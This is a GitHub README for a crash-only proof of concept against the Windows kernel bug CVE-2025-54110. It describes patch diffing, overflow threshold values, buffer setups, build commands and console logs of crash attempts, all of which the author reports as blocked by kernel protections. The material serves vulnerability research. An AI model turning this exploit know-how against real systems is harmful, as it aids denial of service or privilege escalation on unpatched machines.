canomer/cve-2025-54110-kernel-eop-pocProject Date : Oct 2025 / PoC implementation for CVE-2025-54110 a Kernel-Level Integer Overflow Vulnerability in the Windows `NtQueryDirectoryObject` system call.
PoC implementation for CVE-2025-54110 a Kernel-Level Integer Overflow Vulnerability in the Windows NtQueryDirectoryObject system call.
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
This repository contains a Crash-Only PoC for CVE-2025-54110 Kernel EoP Vulnerability, developed solely for security research, reverse engineering and exploit development research. This code is intended to demonstrate vulnerability research techniques including:
This PoC does NOT achieve privilege escalation or reliable BSOD. It is designed to safely trigger access violations that are caught by Windows kernel protections.
Publication Date: September 2025 (Windows Tuesday Security Patch)
| Property | Value |
|---|---|
| CWE | CWE-190: Integer Overflow or Wraparound |
| CVSS 3.1 Score | 8.8 (High) / 7.7 (Temporal) |
| Vector String | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| Attack Vector | Local |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | High |
| Exploit Maturity | Unproven |
An integer overflow vulnerability in the Windows Kernel allows an authenticated attacker to potentially elevate privileges locally. According to Microsoft's advisory:
"An attacker could exploit this vulnerability by sending specially crafted input from a sandboxed user-mode process to trigger an integer overflow, resulting in a buffer overflow in the kernel and enabling privilege escalation or sandbox escape."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu)
↓
Extract CAB Files
↓
Calculate SHA-256 Hashes (August vs September)
↓
Identify Changed Files
↓
Ghidra Version Tracking Analysis
↓
Setting Symbol Servers to Clarify Function Names
↓
Function-Level Diff Comparison
Initial analysis focused on two primary kernel components:
Sample of identified changes in ntoskrnl.exe:
| Score | Confidence | Source Length | Dest Length | Source Function | Dest Function |
|---|---|---|---|---|---|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
The PoC (precise_overflow_bsod.c) attempts to trigger the integer overflow vulnerability through:
0xfffffdbc (derived from base=0x20, name=0x200)// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters:
├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc.
├── Buffer: Various pointer configurations
├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants)
├── ReturnSingleEntry: TRUE/FALSE variations
├── RestartScan: TRUE/FALSE variations
└── Context: Controlled iteration state
The PoC consistently returns STATUS_ACCESS_VIOLATION (0xC0000005) without causing a Blue Screen of Death (BSOD). This is by design and demonstrates several critical Windows kernel security mechanisms:
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
Why it works:
Modern CPU feature that prevents kernel mode (Ring 0) from accessing user-mode (Ring 3) memory without explicit authorization:
Kernel attempts to access user pointer
↓
SMAP checks permission (STAC/CLAC instructions)
↓
Unauthorized access detected
↓
CPU generates #PF (Page Fault)
↓
Caught by kernel exception handler
Impact on PoC:
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
Why BSOD doesn't occur:
Windows 10+ implements enhanced pool corruption detection:
Heap/Pool Allocation
↓
Header Contains:
├── Magic Values
├── Size Information
└── Checksums
↓
On Free/Access:
Validate Integrity
↓
Corruption Detected?
↓
[YES] → Safe Exception → Return Error
[NO] → Proceed Normally
See the STATUS_ACCESS_VIOLATION (0xC0000005), then its ok.
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>
C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe
======================================================
CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT
Threshold: 0xfffffdbc (base=0x20, name=0x200)
!!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!
======================================================
[+] Current user: desktop-lfkkhu2\relab
[+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD!
[!] Continue? (y/n): y
[+] NT functions initialized successfully
[+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects
[*] Phase 1: Precision overflow
[+] Starting precise integer overflow exploitation...
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
...
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[*] Phase 2: Kernel memory targeting
[+] Targeting kernel memory with precise threshold...
[!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005
[!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005
[*] Phase 3: Multi-threaded BSOD
[+] Triggering precision BSOD with calculated threshold...
[+] Starting precise integer overflow exploitation...
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
...
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005
[!] Precision overflow successful!
[+] Starting multi-threaded precision attack...
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
Status Code: 0xC0000005 = STATUS_ACCESS_VIOLATION
| Aspect | Interpretation |
|---|---|
| Vulnerability Confirmation | (+) Code path reaches vulnerable function |
| Input Validation | (!) Crafted input triggers abnormal behavior |
| System Stability | (+) SEH prevents crash; system remains stable |
| DoS Achievement | (-) No BSOD; exception handling successful |
| EoP Achievement | (-) No privilege escalation; controlled failure |
┌─────────────────────────────────────────────────────────┐
│ Objective │ Status │ Explanation │
├─────────────────────────────────────────────────────────┤
│ Vulnerability Research │ + │ Behavior change │
│ │ │ confirmed │
├─────────────────────────────────────────────────────────┤
│ Learning Experience │ + │ Kernel protections │
│ │ │ demonstrated │
├─────────────────────────────────────────────────────────┤
│ Crash (DoS/BSOD) │ - │ SEH prevented crash │
├─────────────────────────────────────────────────────────┤
│ Privilege Escalation │ - │ No code execution │
│ │ │ achieved │
└─────────────────────────────────────────────────────────┘
Patch Diffing Methodology
Windows Kernel Architecture
NtQueryDirectoryObject)Security Mechanism Behavior
Vulnerability Research Process
Modern Kernel Protections are Effective
Gap Between Theory and Practice
Based on CVE-2025-54110 characteristics (Integer Overflow → Buffer Overflow in Kernel), prioritize reviewing functions in the exported CSV that handle:
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
Step 1: Score-Based Filter
Score ≤ 0.951 AND (SourceLen ≠ DestLen)
Step 2: Keyword Search
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
Step 3: Cross-Reference Analysis
Functions called by NtQueryDirectoryObject:
ObQueryNameString
ObpEnumerateDirectory
[Related helper functions]
Step 4: Change Magnitude
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
- Windows 10/11 (x64)
- Visual Studio 2019+ or MinGW-w64
- Administrator privileges (for syscall access)
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
# Using MinGW
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
# Run with admin privileges
.\poc64.exe
Expected Output:
[+] Current user: DESKTOP-XXXXXXX\user
[+] Current PID: 1234
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD!
[!] Continue? (y/n): y
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[+] System is still running - protections may be active.
This code is provided for EDUCATIONAL PURPOSES ONLY.
DO NOT use this code for:
• Unauthorized access to computer systems
• Malicious attacks or damage
• Any illegal activities
The author assumes NO responsibility for misuse. Users must comply with all applicable laws.
By using this code, you acknowledge:
This repository is provided strictly for educational, defensive security research, and vulnerability reproduction purposes in controlled laboratory environments. The information and proof-of-concept code are intended to help defenders, researchers, and vendors understand and remediate the reported vulnerability. Unauthorized or malicious use of this code against systems without explicit permission may violate applicable laws and regulations. The author does not encourage or condone illegal activity and assumes no liability for misuse or damage caused by this material.
This vulnerability disclosure report is provided for:
Prohibited Uses:
The researcher conducted all testing on personally owned systems in controlled environments. No unauthorized access to third-party systems was performed.
Report Version: 1.0
Last Updated: February 9, 2026
For legitimate security research inquiries or educational collaboration:
Responsible Disclosure:
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.